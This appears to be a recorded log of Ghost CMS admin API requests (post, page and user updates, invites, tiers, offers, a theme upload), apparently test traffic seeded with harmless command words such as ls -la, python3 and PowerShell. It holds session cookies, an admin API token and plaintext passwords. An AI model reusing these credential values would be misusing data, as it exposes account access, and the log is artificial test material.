why.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"About this site\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Notes on \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"python3\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\", \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":2,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and the shell. Start with \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la ~/.ssh\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" and read \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess primer\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"https://example.com/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"Get-ChildItem -Force | Where-Object { $_.Name -like '.htaccess' }\\\\nInvoke-WebRequest -Uri https://example.com/feed.xml -OutFile feed.xml\\\",\\\"language\\\":\\\"powershell\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Contact\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Write to \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"alice@example.com\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"mailto:alice@example.com\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\".\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5659a6dde5d0001d3d72e/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 713", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"posts\":[{\"title\":\"Getting started with PowerShell\",\"slug\":\"getting-started-with-powershell\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/powershell/\",\"id\":\"6af5659a6dde5d0001d3d72e\",\"updated_at\":\"2026-11-12T07:07:12.000Z\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/pages/6af565b96dde5d0001d3d735/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 701", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AoIVlIxucaQas8uV_V0tI2mNyxYEoOjBC.ajmnN2F%2BNe0IFunZWICXaJjQpUSV75M6lrkP5I0svVs"], "body": "{\"pages\":[{\"title\":\"Rewrite rules in .htaccess\",\"slug\":\"rewrite-rules-in-htaccess\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"First published on the old blog.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"root\\\",\\\"version\\\":1}}\",\"feature_image\":null,\"feature_image_alt\":null,\"feature_image_caption\":null,\"status\":\"draft\",\"published_at\":null,\"canonical_url\":\"https://example.com/blog/.htaccess/\",\"id\":\"6af565b96dde5d0001d3d735\",\"updated_at\":\"2026-11-12T07:07:42.000Z\"}]}"}
{"method": "GET", "target": "/ghost/assets/pages-route-Bx4g0rd3.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Ascheduled&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/api/admin/pages/?filter=status%3Adraft&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
@@ -762,33 +760,3 @@
{"method": "POST", "target": "/ghost/api/admin/posts/", "headers": ["Host: example.com", "User-Agent: curl/8.11.1", "Accept: */*", "Authorization: Ghost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjZhZjQ1Y2VjZDI4MWIwMDAwMWE1OTk5YiJ9.eyJpYXQiOjE3OTQ0MDA2OTQsImV4cCI6MTc5NDQwMDk5NCwiYXVkIjoiL2FkbWluLyJ9.ayqaBc1Hg4fbMZj_XbvUGlhloCnW_D5KDMN8A6uM68M", "Accept-Version: v6.76", "Content-Type: application/json", "Content-Length: 465"], "body": "{\"posts\": [{\"title\": \"Older editor format: python3 notes\", \"mobiledoc\": \"{\\\"version\\\": \\\"0.3.1\\\", \\\"atoms\\\": [], \\\"markups\\\": [[\\\"code\\\"]], \\\"cards\\\": [[\\\"code\\\", {\\\"code\\\": \\\"ls -la /var/www\\\\npython3 tidy.py .htaccess\\\", \\\"language\\\": \\\"bash\\\"}]], \\\"sections\\\": [[1, \\\"h2\\\", [[0, [], 0, \\\"Mobiledoc post about powershell\\\"]]], [1, \\\"p\\\", [[0, [], 0, \\\"Run \\\"], [0, [0], 1, \\\"ls -la\\\"], [0, [], 0, \\\" and keep .htaccess tidy.\\\"]]], [10, 0]]}\", \"status\": \"draft\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/snippets/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 519", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "{\"snippets\":[{\"name\":\"python3 & .htaccess tip\",\"mobiledoc\":\"{}\",\"lexical\": \"{\\\"root\\\": {\\\"children\\\": [{\\\"children\\\": [{\\\"detail\\\": 0, \\\"format\\\": 0, \\\"mode\\\": \\\"normal\\\", \\\"style\\\": \\\"\\\", \\\"text\\\": \\\"Run ls -la, then python3 tidy.py .htaccess; on Windows use powershell.\\\", \\\"type\\\": \\\"extended-text\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"paragraph\\\", \\\"version\\\": 1}], \\\"direction\\\": \\\"ltr\\\", \\\"format\\\": \\\"\\\", \\\"indent\\\": 0, \\\"type\\\": \\\"root\\\", \\\"version\\\": 1}}\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/themes/upload/", "headers": ["Host: example.com", "Content-Length: 2138", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhPTWHSPscackPlN", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A8kdYjooVavGjq0rNroahDCvgTG3XukhZ.ioil5%2Fg42yqQcdl%2B%2FlhvXc4HoOV6hGDetkdr5aPXvuo"], "body": "------WebKitFormBoundaryzhPTWHSPscackPlN\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes-theme.zip\"\r\nContent-Type: application/zip\r\n\r\n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\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
# The requests below were sent to Ghost by a script with the admin's or a
# member's headers. They hold words that name commands and files in more fields.
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
